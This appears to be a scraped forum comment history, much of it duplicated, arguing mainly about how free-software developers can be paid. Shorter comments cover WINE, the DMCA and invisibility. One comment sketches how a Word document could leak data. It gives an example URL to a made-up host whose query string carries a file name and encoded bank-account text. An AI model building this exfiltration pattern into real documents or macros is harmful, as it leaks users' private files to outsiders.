Those who benefit from the current system where programs are property offer two arguments in support of their claims to own programs:
the emotional argument and the economic argument.
The emotional argument goes like this: ``I put my sweat, my heart, my soul into this program. It comes from me, it's mine!''
This argument does not require serious refutation. The feeling of attachment is one that programmers can cultivate when it suits them; it
is not inevitable. Consider, for example, how willingly the same programmers usually sign over all rights to a large corporation for a salary;
the emotional attachment mysteriously vanishes. By contrast, consider the great artists and artisans of medieval times, who didn't even
sign their names to their work. To them, the name of the artist was not important. What mattered was that the work was done--and the
purpose it would serve. This view prevailed for hundreds of years.
[emphasis mine]
RMS believes that people shouldn't expect to get credit. After all, if you expect to get credit, then you can also expect payment, and that would shoot a big hole in his thesis...
College students need to write reports, create lab reports (embedding charts, diagrams, etc) and other larger projects.
In science and mathemetics, at least, this is usually accomplished with LaTeX. Diagrams are done with any tool that can generate EPS, like xfig or Graphviz. MS Word's equation editor sucks quite badly.
And there's a big difference between "you can embed diagrams" and "you can catch a virus". Yes, an exploit here or there is understandable. MS has made it quite clear that they're either clueless or careless when it comes to security, considering the sheer number and severity of exploits in their products. And their excuse that "there is no evidence that such activities are occurring" is even more unsettling. It reveals a whole attitude towards security akin to "the bank vault is secure until someone steals all the money".
Word (via IE) make a request to a web server. If that request can be manipulated, then you can encode the data to upload in the request itself. For example:
For someone who knew Word macros, this probably wouldn't be all that hard.
Re:Paid to solve problems
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I consider free software a development model that should be used where it works better than traditional models, and not be used where it is worse. I believe the market will sort out which areas are in which category.
There seem to be few, if any, areas where free software can provide a higher income for its developers than non-free software would.
So I would suggest that you started accepting other form for financing than those of the traditional development form. All your suggested forms involve getting payed for doing good work that your customers are happy for and that benefits others, so the only problems are those you create in your own head.
Maybe you should read the whole thread. I've already stated what the problems are with the other models. If you're having lots of trouble figuring it out for a model, ask and I'll tell you. If you manage to find some model I've never heard of without these problems, that that's great. I don't thing the free software has to use the same business model as non-free. I'm just illustrating that the other commonly used models either don't work, or aren't scalable.
Actually, Google's apparently got very strict requirements for their ads. The rare times that I do see ads on Google, they're usually related to my query, and occasionally they're actually the thing I was looking for. For example, if I serach for "mp3" I get an ad that says:
I was looking for mp3's, so that site might actually be useful to me. Sure, the exclamation points are a bit obnoxious, but it's a lok better than a blinking animated gif, or an X10 pseudo-porn ad.
Re:I'm getting tired of this...
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What you seem to have missed is the keyword custom version in my reasoning. The software exists, customer doesn't have to pay a dime for it, but if it wants a version tailored to its needs it has a host of options, all of which involves paying developers.
There are a few issues I have with this:
what about the developers that wrote the original version that you added custom hacks to? They did 99.99% of the work, but you get all of the payment?
Who will your custom changes be useful to? Your employer, and maybe their competitors, but no-one else. To me, that's a rather empty form of open-source. "Let's give something useless back to the community!"
Can't you write the code, and then not release it as open-source? Then you don't risk your competitors learning anything from it. This is within the restrictions of the GPL too, since you're not distributing the code. Less risk is a benefit, so its to your advantage to not release the code.
This one's personal: I don't like writing custom hacks. I want to write real software from the ground-up.
Maybe I'm a zealot, but I agree with that. All software should be free. I would never say, though, that all software must be free. Huge semantic difference, right?
I too think it would be nice if all software was free. I think it's of higher importance for producers to be compensated for their work though. Hence, I don't think it's immoral for content creators to demand to get paid for their work. I do, however, think it's immoral for people to expect to get something for nothing. It's even worse to insinuate that those who demand to get paid for their work should be punished, which is exactly what RMS does. I personally think that those who demand something for nothing are far more deserving of punishment.
People will get paid for programming (or tutoring AI robots) in the foreseeable future, though.
Programming is expensive. Few people can do it well, and for those of us who can. it takes a long time and a lot of effort to produce something truly significant. Work for hire really only works for adding custom hacks to already existing code. See the points above. If you look at a typical project, like say Apache, I'd bet that far less than 10% of the useful features were added by people writing custom hacks. The important software is the non-custom software. In open source, the people who write that >90% of the code tend to go unpaid. That's the software that's useful to a much larger group of people, and it would be much more valuable for it to be opened. So far, there are very few business models that really work for this kind of software though. The most common model is to ammortize the cost over all of the users. In other words, charge a per-whatever license. That seems to be at odds with that nebulous "freedom" that some people want though, because in order to ammortize the costs, you need to require all users to pay their share. If you don't make it a requirement, most simply will not pay, and your costs won't be covered.
Re:Paid to solve problems
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All the examples you gave exists not only as free software, but as free software projects where the lead programmers are paid to work full time on the project.
Almost forgot: name an open source desktop application project where 90% of the development work is paid for, and the developers are paid salaries on par with proprietary software developers. Where does the money they're paid with come from?
Re:Paid to solve problems
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The tools and building blocks for creating games on the other hand, are natural candidates for free software. I notice Loki software seems to agree.
In that situation, the free game development tools are a loss-leader for Loki's real products: the games. The games are not free. If you want all software to be free, then you have to come up with a business model where the free software developers can get paid without having to sell non-free software.
I think what some people don't realize is that I'm not willing to accept half-way solutions. I don't want to work at a company that only opens abandoned products, or bits of their code. I want to do development, full time, on open source. I don't want my salary to come from the sales of closed software (since that isn't a 100% open solution), nor do I want it to come from the sales of T-shirts/mugs/mousemats/etc. (since that's demeaning, wouldn't pay enough, and the developers are unnecessary in any case), nor do I want it to come from support/consulting (since that presents a conflict of interests). I also don't want to do custom hack-jobs on code that other people developed and didn't get paid for. If you want all software to be free, then that should be possible. So how?
Re:Paid to solve problems
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Maybe you think all programmers are creating products. Some are. They are a small minority. Far most programmers are employed in the internal infrastructure side of various commercial or non-commercial organizations. Our work is less visible than those who create shrink-wrap products, but it is no less important.
As I mentiond in another post, customized solutions aren't very useful as open source. Who cares about some software system specifically tailored to your employer's business, except your employer, and possibly their competition?
The open source that really counts are generic solutions, or "products". Thinks like desktop applications, servers, operating systems, web browsers, development tools, games, etc. Yes, I know these all exist as open source. None of the devlopers are making money writing them though, so most of the people working on them are working on them part time.
Here's a challenge: how can a developer make money writing open source video games? And it has to be on the same order of magnitude as professional video game developers who write proprietary video games. Also remember I'm talking about a developer here.
Re:I'm getting tired of this...
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Maybe someone should whip up a version of the Fairtunes site for people's favourite developers not musos.
I really don't think voluntary contributions work. From Fairtunes:
Total Contributions: $1764.22US & $285.58CA
That's less than 1 week's salary for a software developer. Most people aren't going to bother tipping. Those that do, will tip a small amount.
Why should developers, musicians, or any other type of content creator have to beg? If they're producing work that is valuable to you, you should either be forced to pay the price they ask, or do without. If we can devise a way to make the direct cost to the consumer 0, while still compensating the producer, that's fine. So far no-one has come up with a system for this that works in general though, AFAIK.
Re:I'm getting tired of this...
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In my experience, people generally get what they want if they try hard.
That's a cop-out. You seem to want to convince me, yet you haven't. Should I then conclude that you're not trying hard? The fact is, I am trying hard, but the real world is getting in the way. We live in a capitalist world. For professional developers to work on open source full-time, they need to be compensated financially, or it'll always just be part-time hacking.
Burying yourself in pessimism is self-defeating, and it sounds as if that's what you may be doing.
I wasn't so pessimistic before. But after a lot of thinking, and trying to get information from various people in the open source community, it's driven me to this. Every time I ask about how to make money as a developer of open source I'm either told about business models that have huge gaping flaws, told that I should make all sorts of sacrifices or I get flamed because "money isn't the only reward". Tell me about some business models that work where I can get paid the same as proprietary software developers, and which don't have gaping holes, and I'll stop complaining.
I think it would be of great benefit to the open source community (and society as a whole) if ways were found that professional developers could work on it full-time. So far, no-one has offered any real answers though.
There need to be companies that can hire these developers. Note I said developers, not webmasters or sysadmins. For these companies to exist, there must be viable business models they can use. So far, the only really good business model I've seen for open source is "widget frosting", ie: device drivers, software in embedded devices, etc. That only scratches the surface though. There are many other types of software that can't work with that model.
Incidently, I have seen a few companies looking for actual open source developers. I have serious doubts over how long they'll last though. One of these companies iz developing an application to be released GPL, and they've openly admitted that they have no idea how they're going to make money off of it. Presumably they're going to have an upgrader service, but since the code is GPL, anyone can upgrade for free, so there goes the business plan...
I've been on the hiring side, and I saw lots of companies recruiting just last week. If you aren't getting the jobs, it's not because they aren't there.
Most of the jobs I've seen you posting were sysadmin or webmaster type jobs. Where are the jobs for actual full-time software developers?
Most companies have profit centers, which make money, and cost centers, which provide essential services to the profit centers.
Sorry, I misunderstood. I've never heard that terminology (I'm a developer, not a suit, after all...). At the company where I work, we call all of those things "cost centers", and from what I've seen they'd better all make a profit, or people start losing their jobs...
If you can save $1 from continuing overhead in a cost center, it's as good for your company as making $1 in a profit center - that's $1 they would not have had otherwise, either way.
I'm assuming you're talking about situations where you've got some developers in your IT department, and while the IT department doesn't make money, it "saves you money" by allowing you to do business more efficiently (one would hope). There are two issues I have with this. One is that there is a possibility that "the competition" might make use of the software you release. So while you're saving yourself money, you're also saving your competition money. In the capitalist world we live in, that isn't good. The other thing is: most "internal" software is so closely tied to your own systems and/or business that it would only be useful to either people in the same business (your competitors), or people interested in knowing how the internals of your company work (...your competitors). I mean, who cares if Coca Cola releases part of their supply-chain system, except possibly Pepsi?
Nobody is forcing you to give away your code, unless you consider competition a form of forcing you.
When I hear people saying that "all software should be free", "copyrights are evil", and accusations that developing proprietary software is immoral, then that sounds like the next best thing to being forced. Sure, you're not physically forcing me, you're just telling everyone I'm evil...
In Why Software Should Be Free, RMS actually says that developers who demand payment should be punished. (See the section "What Do Users Owe to Developers?") To me, demanding payment for your work is far less immoral than demanding work without payment.
BTW, one thing that's always struck me as odd: why is it possible to have software that's "free as in beer", but not "free as in speech", but it isn't possible to have software that's "free as in speech" but not "free as in beer"? The OSD, and the FSF's definition of free software both essentially state that people should be able to distribute the software free of charge, thereby making it "free beer".
...then I wouldn't have to sit through all that [blasphemy deleted] waiting for Tom & Jerry and Scooby Doo
Maybe you could go outside?
Scooby Doo spoiler: the old man did it, and he would've gotten away with it too, if it wasn't for those meddling kids!
Re:I'm getting tired of this...
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You're arguing that free software is bad because it's impossible, but reality is flaunting your objections, as reality tends to do.
Look at my email address and say that again. I never said free software was bad. I just think that people who advocate free software and open source should be interested in finding ways for developers to make a profit developing free software, because that would allow them to work on it full-time. As it is, developers can only work on it in their spare time as a hobby, and the vast majority of open source developers aren't even qualified to be commercial software developers. Combine all that, and you get less code, with lower qulity than you would get if there were professional developers working full-time on open source.
Incidently, having worked on a few open source projects, I have seen with my own eyes some of the most screwed up coding that could only have come from someone who was either drunk, or knew very little about coding in the first place. (I'm guessing most of these are caused by either sysadmins or webmasters) Of course, I've only been able to work on these projects in my spare time, so I can't fix every disgusting kludge I see...
Re:I'm getting tired of this...
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About your points:
I mentioned widget frosting. I don't want to write hardware drivers though.
How is it a benefit to the service company if the software is free? Doesn't that just make things easier for their competitors? If they close the source, only they will be paid to make improvements. As an aside, I'm not interested in doing contract work. I like to concentrate on coding, not negotiating for new "gigs".
Sounds like selling banner ads. That only works for extrememly high-traffic sites like Yahoo and popular search engines.
I could also become adept at waiting tables. By why can't I get paid for writing code, which is what I'm good at, and which is useful to others?
What you seem to overlook is the fact that even if there were no financial incentive to developing free software, people would do it (for love of the art, boredom or whatever).
What you seem to overlook is that I contribute to several open source projects. I love coding. I also need to eat and have shelter too, though. So I have a day job writing closed-source code, and then I contribute to open source projects at home, in my spare time, when I'm not too burnt-out from coding all day at work. Plus, I like to get away from the computer every now and then. All coding and no play makes Zag a dull boy...
There would be a heck of a lot more open source software if people could actually work on it full time. As it is, software developers have to have "day jobs" and can only work on open source part time.
Also, a lot of open source code isn't even written by professional developers, but instead by sysadmins and webmasters. I know I'm going to get flamed for saying this, but a lot of that code sucks. There are well know CS algorithms that aren't used, because a lot of the people writing the code simply don't know about them. I think the code would be a lot higher quality if there were more professional developers working on it full-time. As it is, very few people can work on open source full time, because there's no viable way to make a profit.
nobody is demanding your work for no compensation. I'd rather view it as requesting your help for a joint effort, the final product being the shared compensation.
RMS has stated many times that it is "immoral" to produce (or even use) non-"free" software. Many other open source zealots have stated that all software should be free. Many also have the belief that copyright is wrong, and the people should be able to distribute software as they please.
And having the final product be my compensation isn't quite enough. I can't tell my landlord "here's the rent for September: a generalized A* searcher in Java!". Much of the software I write is of no use to me, personally. I enjoy writing it, and I know it's useful to others.
I have no problem with writing free (as in speech) software, provided I can make a decent living. By decent, I mean on par with commercial software developers. I would think that most open source advocates would be interested in finding a way to make that possible. Maybe I'm the only one.
Re:I'm getting tired of this...
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Please look for examples. There are so many of them. I get paid, ESR gets tons of stock, RMS gets a salary from FSF and even does consulting gigs once in a while, etc.
I don't think there are that many examples. Most of the people who get paid for open source are the "open source celebrities". There isn't room for very many of those.
Many companies are paying the salary of Open Source developers who operate as a cost center - reducing the cost for the company if they are not making a profit.
I don't think there would be much job security in working for a company that isn't making a profit. Once Red Hat ends its "growth" phase, and actually tries to make some cash, will they hand onto their developers? Probably, but only for PR reasons. I don't want to get paid for PR reasons.
Look at all of the companies in the LinuxWorld exhibitor index - most of them are hiring!
I actually work at a company that was previously an LWCE exhibitor. I'm still not working on open source though. For most software companies that do any open source at all, the open source is done as a loss-leader for the companies other products.
Why does it have to be this way? If I spend hours working on developing some code that's useful to thousands of people, isn't it worth something? Why should I be forced to give it away at a loss?
I'm getting tired of this...
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I've asked this question so many times, and never once recieved a reasonable answer. Here I go again though:
How can developers of open source/free software get compensated for their work? Everyone right now seems to be either doing the work for free in their spare time, or is working for a company like Red Hat that hires developers only for PR reasons. There don't seem to be any good business models for open source (except perhaps widget frosting, but not all of us want to write hardware drivers).
I would love to be able to spend all day working on free software projects. I would also need to get paid though. And I think I should get paid just as much as people working on commercial software. You can't really sell "free" software, because "free as in speech" seems to require "free as in beer".
Okay, now I know someone is going to say "work for hire" (that's the closest I've ever recieved to a reasonable response to this query in the past). There's a problem though: software is expensive to produce. Suppose I spend a year developing some piece of software. I expect to get paid at least a year's salary for that work. If several hundred or thousand people will be using that software, that doesn't seem unreasonable, if they all pay for a bit. (ie: amortize the cost over the users.) Work for hire implies that a person or group will pay for it though. Where are they going to get that kind of money?
Name just about any other open source business model, and there's probably a big hole in it. Loss-leader: you're not making the company money so they may as well fire you. Support's even worse, because there's also a conflict of interest. etc...
Assuming there isn't any good way for free software developers to make money (I have to assume that, since no one has been able to show otherwise), why should developers create free software? RMS and Bruce say for "freedom". This is a pretty nebulous form of freedom though. How is your freedom violated if I write some code and don't give you the source? Would I be violating your freedom if I wrote down a neat idea for a program, and never got around to writing the code or publishing the idea? What if I draw a doodle that I never show anyone, but you would've liked it had you seen it? What if I take a dump, and don't let you watch?
To me, "open source" is a feature. The "freedom" it gives me isn't significantly different from the "freedom" obtained by getting a larger hard drive, or having a system that doesn't crash.
One last query: Who's more greedy, the person who demands to be paid for their work, or the person who demands the benefits of that work at no cost?
Make my entire body except my retinas transparent. Who's going to notice a couple of dime-sized disks floating in the air, especially if the background is patterned?
Two problems: First, you'll need to make the lenses an cornea non-invisible (ie: maintain the refractive index they currently have) or you won't be able to focus. Second, you'll need to have significantly more of your eye be opaque, or you'll go blind from all of the stray light. (plus, you wouldn't be able to see clearly, since far more light would be hitting your retinas from the sides and back, than through the lens) An added disadvantage is that with invisible eyelids and hands, it'll be somewhat difficult to block your eyes from bright lights.
You must have a pretty powerful machine. On my home machine (which is, admittedly, a POS) StarCraft runs just fine under NT4.0, but is unbearably slow under WINE. I'm guessing that it has to do with DirectX emulation. I imagine that under WINE, DirectX can't touch the hardware dirrectly, while under NT it is able to directly access the hardware at some points.
Also, the Battle.net chat client built-into StarCraft is really hosed in WINE.
I think you misread what I wrote. The Real tools are gratis (free, as in beer), not libre (free as in speech). I asked if the inverse existsed: libre but not gratis.
Even a foolish idiot wouldn't make such a spurious claim.
That's essentially the claim that most of the "information wants to be free" crowd uses though. They say it's mathematically/physically impossible to prevent people from copying the data, so there shouldn't be laws against it. In other words, "information should be available without charge to anyone clever enough to [get it]". Yeah, they probably wouldn't use the term "break into" (like thge ruling), but rather somethiung that means the same thing but sounds more benign...
Now before I get flamed, I should point out that I don't agree with the ruling. (oh, and IANAL) I think the DMCA goes way too far. I think that copyright protection doesn't need legal protection. Copyright alone should be enough. If people use DeCSS to illegally copy DVD's, then go after them. People using DeCSS for fair use aren't doing anything wrong. So in other words, DMCA is unnecessary, and makes things illegal that shouldn't be.
Unfortunately, because of the boneheaded way American law works, once a law is passed, you pretty well can't get rid of it unless you can prove that it's "unconstitutional", and likewise, you can't create laws that conflict with the constitutional dogma...
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From Why Software Should Be Free, by RMS:
[emphasis mine] RMS believes that people shouldn't expect to get credit. After all, if you expect to get credit, then you can also expect payment, and that would shoot a big hole in his thesis...I'm cool with giving away my code, but not my art. Code is far less personal than art...
A lot of code is art.
College students need to write reports, create lab reports (embedding charts, diagrams, etc) and other larger projects.
In science and mathemetics, at least, this is usually accomplished with LaTeX. Diagrams are done with any tool that can generate EPS, like xfig or Graphviz. MS Word's equation editor sucks quite badly.
And there's a big difference between "you can embed diagrams" and "you can catch a virus". Yes, an exploit here or there is understandable. MS has made it quite clear that they're either clueless or careless when it comes to security, considering the sheer number and severity of exploits in their products. And their excuse that "there is no evidence that such activities are occurring" is even more unsettling. It reveals a whole attitude towards security akin to "the bank vault is secure until someone steals all the money".
no, i don't think word can upload data.
a ccounts.doc&chunk=0&data=Summary+of+my+ban k+accounts%3A+%0c%0aBank+of+America%3A+%2448.96
Word (via IE) make a request to a web server. If that request can be manipulated, then you can encode the data to upload in the request itself. For example:
http://worddocslurper.net/cg-bin/dot.gif?fname=
For someone who knew Word macros, this probably wouldn't be all that hard.
I consider free software a development model that should be used where it works better than traditional models, and not be used where it is worse. I believe the market will sort out which areas are in which category.
There seem to be few, if any, areas where free software can provide a higher income for its developers than non-free software would.
So I would suggest that you started accepting other form for financing than those of the traditional development form. All your suggested forms involve getting payed for doing good work that your customers are happy for and that benefits others, so the only problems are those you create in your own head.
Maybe you should read the whole thread. I've already stated what the problems are with the other models. If you're having lots of trouble figuring it out for a model, ask and I'll tell you. If you manage to find some model I've never heard of without these problems, that that's great. I don't thing the free software has to use the same business model as non-free. I'm just illustrating that the other commonly used models either don't work, or aren't scalable.
There are a few issues I have with this:
- what about the developers that wrote the original version that you added custom hacks to? They did 99.99% of the work, but you get all of the payment?
- Who will your custom changes be useful to? Your employer, and maybe their competitors, but no-one else. To me, that's a rather empty form of open-source. "Let's give something useless back to the community!"
- Can't you write the code, and then not release it as open-source? Then you don't risk your competitors learning anything from it. This is within the restrictions of the GPL too, since you're not distributing the code. Less risk is a benefit, so its to your advantage to not release the code.
- This one's personal: I don't like writing custom hacks. I want to write real software from the ground-up.
Maybe I'm a zealot, but I agree with that. All software should be free. I would never say, though, that all software must be free. Huge semantic difference, right?I too think it would be nice if all software was free. I think it's of higher importance for producers to be compensated for their work though. Hence, I don't think it's immoral for content creators to demand to get paid for their work. I do, however, think it's immoral for people to expect to get something for nothing. It's even worse to insinuate that those who demand to get paid for their work should be punished, which is exactly what RMS does. I personally think that those who demand something for nothing are far more deserving of punishment.
People will get paid for programming (or tutoring AI robots) in the foreseeable future, though.
Programming is expensive. Few people can do it well, and for those of us who can. it takes a long time and a lot of effort to produce something truly significant. Work for hire really only works for adding custom hacks to already existing code. See the points above. If you look at a typical project, like say Apache, I'd bet that far less than 10% of the useful features were added by people writing custom hacks. The important software is the non-custom software. In open source, the people who write that >90% of the code tend to go unpaid. That's the software that's useful to a much larger group of people, and it would be much more valuable for it to be opened. So far, there are very few business models that really work for this kind of software though. The most common model is to ammortize the cost over all of the users. In other words, charge a per-whatever license. That seems to be at odds with that nebulous "freedom" that some people want though, because in order to ammortize the costs, you need to require all users to pay their share. If you don't make it a requirement, most simply will not pay, and your costs won't be covered.
All the examples you gave exists not only as free software, but as free software projects where the lead programmers are paid to work full time on the project.
Almost forgot: name an open source desktop application project where 90% of the development work is paid for, and the developers are paid salaries on par with proprietary software developers. Where does the money they're paid with come from?
The tools and building blocks for creating games on the other hand, are natural candidates for free software. I notice Loki software seems to agree.
In that situation, the free game development tools are a loss-leader for Loki's real products: the games. The games are not free. If you want all software to be free, then you have to come up with a business model where the free software developers can get paid without having to sell non-free software.
I think what some people don't realize is that I'm not willing to accept half-way solutions. I don't want to work at a company that only opens abandoned products, or bits of their code. I want to do development, full time, on open source. I don't want my salary to come from the sales of closed software (since that isn't a 100% open solution), nor do I want it to come from the sales of T-shirts/mugs/mousemats/etc. (since that's demeaning, wouldn't pay enough, and the developers are unnecessary in any case), nor do I want it to come from support/consulting (since that presents a conflict of interests). I also don't want to do custom hack-jobs on code that other people developed and didn't get paid for. If you want all software to be free, then that should be possible. So how?
Maybe you think all programmers are creating products. Some are. They are a small minority. Far most programmers are employed in the internal infrastructure side of various commercial or non-commercial organizations. Our work is less visible than those who create shrink-wrap products, but it is no less important.
As I mentiond in another post, customized solutions aren't very useful as open source. Who cares about some software system specifically tailored to your employer's business, except your employer, and possibly their competition?
The open source that really counts are generic solutions, or "products". Thinks like desktop applications, servers, operating systems, web browsers, development tools, games, etc. Yes, I know these all exist as open source. None of the devlopers are making money writing them though, so most of the people working on them are working on them part time.
Here's a challenge: how can a developer make money writing open source video games? And it has to be on the same order of magnitude as professional video game developers who write proprietary video games. Also remember I'm talking about a developer here.
Maybe someone should whip up a version of the Fairtunes site for people's favourite developers not musos.
I really don't think voluntary contributions work. From Fairtunes:
Total Contributions: $1764.22US & $285.58CA
That's less than 1 week's salary for a software developer. Most people aren't going to bother tipping. Those that do, will tip a small amount.
Why should developers, musicians, or any other type of content creator have to beg? If they're producing work that is valuable to you, you should either be forced to pay the price they ask, or do without. If we can devise a way to make the direct cost to the consumer 0, while still compensating the producer, that's fine. So far no-one has come up with a system for this that works in general though, AFAIK.
In my experience, people generally get what they want if they try hard.
That's a cop-out. You seem to want to convince me, yet you haven't. Should I then conclude that you're not trying hard? The fact is, I am trying hard, but the real world is getting in the way. We live in a capitalist world. For professional developers to work on open source full-time, they need to be compensated financially, or it'll always just be part-time hacking.
Burying yourself in pessimism is self-defeating, and it sounds as if that's what you may be doing.
I wasn't so pessimistic before. But after a lot of thinking, and trying to get information from various people in the open source community, it's driven me to this. Every time I ask about how to make money as a developer of open source I'm either told about business models that have huge gaping flaws, told that I should make all sorts of sacrifices or I get flamed because "money isn't the only reward". Tell me about some business models that work where I can get paid the same as proprietary software developers, and which don't have gaping holes, and I'll stop complaining.
I think it would be of great benefit to the open source community (and society as a whole) if ways were found that professional developers could work on it full-time. So far, no-one has offered any real answers though.
There need to be companies that can hire these developers. Note I said developers, not webmasters or sysadmins. For these companies to exist, there must be viable business models they can use. So far, the only really good business model I've seen for open source is "widget frosting", ie: device drivers, software in embedded devices, etc. That only scratches the surface though. There are many other types of software that can't work with that model.
Incidently, I have seen a few companies looking for actual open source developers. I have serious doubts over how long they'll last though. One of these companies iz developing an application to be released GPL, and they've openly admitted that they have no idea how they're going to make money off of it. Presumably they're going to have an upgrader service, but since the code is GPL, anyone can upgrade for free, so there goes the business plan...
I've been on the hiring side, and I saw lots of companies recruiting just last week. If you aren't getting the jobs, it's not because they aren't there.
Most of the jobs I've seen you posting were sysadmin or webmaster type jobs. Where are the jobs for actual full-time software developers?
Most companies have profit centers, which make money, and cost centers, which provide essential services to the profit centers.
Sorry, I misunderstood. I've never heard that terminology (I'm a developer, not a suit, after all...). At the company where I work, we call all of those things "cost centers", and from what I've seen they'd better all make a profit, or people start losing their jobs...
If you can save $1 from continuing overhead in a cost center, it's as good for your company as making $1 in a profit center - that's $1 they would not have had otherwise, either way.
I'm assuming you're talking about situations where you've got some developers in your IT department, and while the IT department doesn't make money, it "saves you money" by allowing you to do business more efficiently (one would hope). There are two issues I have with this. One is that there is a possibility that "the competition" might make use of the software you release. So while you're saving yourself money, you're also saving your competition money. In the capitalist world we live in, that isn't good. The other thing is: most "internal" software is so closely tied to your own systems and/or business that it would only be useful to either people in the same business (your competitors), or people interested in knowing how the internals of your company work (...your competitors). I mean, who cares if Coca Cola releases part of their supply-chain system, except possibly Pepsi?
Nobody is forcing you to give away your code, unless you consider competition a form of forcing you.
When I hear people saying that "all software should be free", "copyrights are evil", and accusations that developing proprietary software is immoral, then that sounds like the next best thing to being forced. Sure, you're not physically forcing me, you're just telling everyone I'm evil...
In Why Software Should Be Free, RMS actually says that developers who demand payment should be punished. (See the section "What Do Users Owe to Developers?") To me, demanding payment for your work is far less immoral than demanding work without payment.
BTW, one thing that's always struck me as odd: why is it possible to have software that's "free as in beer", but not "free as in speech", but it isn't possible to have software that's "free as in speech" but not "free as in beer"? The OSD, and the FSF's definition of free software both essentially state that people should be able to distribute the software free of charge, thereby making it "free beer".
Outside? Which channel is that on?
This one.
That reminds me of a Simpsons episode:Actually, I've been an anime fan for years, but I've never watched any of the tentacle... "genre".
(and as an aside, I like squid, but I avoid the tentacles there too...)
...then I wouldn't have to sit through all that [blasphemy deleted] waiting for Tom & Jerry and Scooby Doo
Maybe you could go outside?
Scooby Doo spoiler: the old man did it, and he would've gotten away with it too, if it wasn't for those meddling kids!
You're arguing that free software is bad because it's impossible, but reality is flaunting your objections, as reality tends to do.
Look at my email address and say that again. I never said free software was bad. I just think that people who advocate free software and open source should be interested in finding ways for developers to make a profit developing free software, because that would allow them to work on it full-time. As it is, developers can only work on it in their spare time as a hobby, and the vast majority of open source developers aren't even qualified to be commercial software developers. Combine all that, and you get less code, with lower qulity than you would get if there were professional developers working full-time on open source.
Incidently, having worked on a few open source projects, I have seen with my own eyes some of the most screwed up coding that could only have come from someone who was either drunk, or knew very little about coding in the first place. (I'm guessing most of these are caused by either sysadmins or webmasters) Of course, I've only been able to work on these projects in my spare time, so I can't fix every disgusting kludge I see...
- I mentioned widget frosting. I don't want to write hardware drivers though.
- How is it a benefit to the service company if the software is free? Doesn't that just make things easier for their competitors? If they close the source, only they will be paid to make improvements. As an aside, I'm not interested in doing contract work. I like to concentrate on coding, not negotiating for new "gigs".
- Sounds like selling banner ads. That only works for extrememly high-traffic sites like Yahoo and popular search engines.
- I could also become adept at waiting tables. By why can't I get paid for writing code, which is what I'm good at, and which is useful to others?
What you seem to overlook is the fact that even if there were no financial incentive to developing free software, people would do it (for love of the art, boredom or whatever).What you seem to overlook is that I contribute to several open source projects. I love coding. I also need to eat and have shelter too, though. So I have a day job writing closed-source code, and then I contribute to open source projects at home, in my spare time, when I'm not too burnt-out from coding all day at work. Plus, I like to get away from the computer every now and then. All coding and no play makes Zag a dull boy...
There would be a heck of a lot more open source software if people could actually work on it full time. As it is, software developers have to have "day jobs" and can only work on open source part time.
Also, a lot of open source code isn't even written by professional developers, but instead by sysadmins and webmasters. I know I'm going to get flamed for saying this, but a lot of that code sucks. There are well know CS algorithms that aren't used, because a lot of the people writing the code simply don't know about them. I think the code would be a lot higher quality if there were more professional developers working on it full-time. As it is, very few people can work on open source full time, because there's no viable way to make a profit.
nobody is demanding your work for no compensation. I'd rather view it as requesting your help for a joint effort, the final product being the shared compensation.
RMS has stated many times that it is "immoral" to produce (or even use) non-"free" software. Many other open source zealots have stated that all software should be free. Many also have the belief that copyright is wrong, and the people should be able to distribute software as they please.
And having the final product be my compensation isn't quite enough. I can't tell my landlord "here's the rent for September: a generalized A* searcher in Java!". Much of the software I write is of no use to me, personally. I enjoy writing it, and I know it's useful to others.
I have no problem with writing free (as in speech) software, provided I can make a decent living. By decent, I mean on par with commercial software developers. I would think that most open source advocates would be interested in finding a way to make that possible. Maybe I'm the only one.
Please look for examples. There are so many of them. I get paid, ESR gets tons of stock, RMS gets a salary from FSF and even does consulting gigs once in a while, etc.
I don't think there are that many examples. Most of the people who get paid for open source are the "open source celebrities". There isn't room for very many of those.
Many companies are paying the salary of Open Source developers who operate as a cost center - reducing the cost for the company if they are not making a profit.
I don't think there would be much job security in working for a company that isn't making a profit. Once Red Hat ends its "growth" phase, and actually tries to make some cash, will they hand onto their developers? Probably, but only for PR reasons. I don't want to get paid for PR reasons.
Look at all of the companies in the LinuxWorld exhibitor index - most of them are hiring!
I actually work at a company that was previously an LWCE exhibitor. I'm still not working on open source though. For most software companies that do any open source at all, the open source is done as a loss-leader for the companies other products.
Why does it have to be this way? If I spend hours working on developing some code that's useful to thousands of people, isn't it worth something? Why should I be forced to give it away at a loss?
I've asked this question so many times, and never once recieved a reasonable answer. Here I go again though:
How can developers of open source/free software get compensated for their work? Everyone right now seems to be either doing the work for free in their spare time, or is working for a company like Red Hat that hires developers only for PR reasons. There don't seem to be any good business models for open source (except perhaps widget frosting, but not all of us want to write hardware drivers).
I would love to be able to spend all day working on free software projects. I would also need to get paid though. And I think I should get paid just as much as people working on commercial software. You can't really sell "free" software, because "free as in speech" seems to require "free as in beer".
Okay, now I know someone is going to say "work for hire" (that's the closest I've ever recieved to a reasonable response to this query in the past). There's a problem though: software is expensive to produce. Suppose I spend a year developing some piece of software. I expect to get paid at least a year's salary for that work. If several hundred or thousand people will be using that software, that doesn't seem unreasonable, if they all pay for a bit. (ie: amortize the cost over the users.) Work for hire implies that a person or group will pay for it though. Where are they going to get that kind of money?
Name just about any other open source business model, and there's probably a big hole in it. Loss-leader: you're not making the company money so they may as well fire you. Support's even worse, because there's also a conflict of interest. etc...
Assuming there isn't any good way for free software developers to make money (I have to assume that, since no one has been able to show otherwise), why should developers create free software? RMS and Bruce say for "freedom". This is a pretty nebulous form of freedom though. How is your freedom violated if I write some code and don't give you the source? Would I be violating your freedom if I wrote down a neat idea for a program, and never got around to writing the code or publishing the idea? What if I draw a doodle that I never show anyone, but you would've liked it had you seen it? What if I take a dump, and don't let you watch?
To me, "open source" is a feature. The "freedom" it gives me isn't significantly different from the "freedom" obtained by getting a larger hard drive, or having a system that doesn't crash.
One last query: Who's more greedy, the person who demands to be paid for their work, or the person who demands the benefits of that work at no cost?
Make my entire body except my retinas transparent. Who's going to notice a couple of dime-sized disks floating in the air, especially if the background is patterned?
Two problems: First, you'll need to make the lenses an cornea non-invisible (ie: maintain the refractive index they currently have) or you won't be able to focus. Second, you'll need to have significantly more of your eye be opaque, or you'll go blind from all of the stray light. (plus, you wouldn't be able to see clearly, since far more light would be hitting your retinas from the sides and back, than through the lens) An added disadvantage is that with invisible eyelids and hands, it'll be somewhat difficult to block your eyes from bright lights.
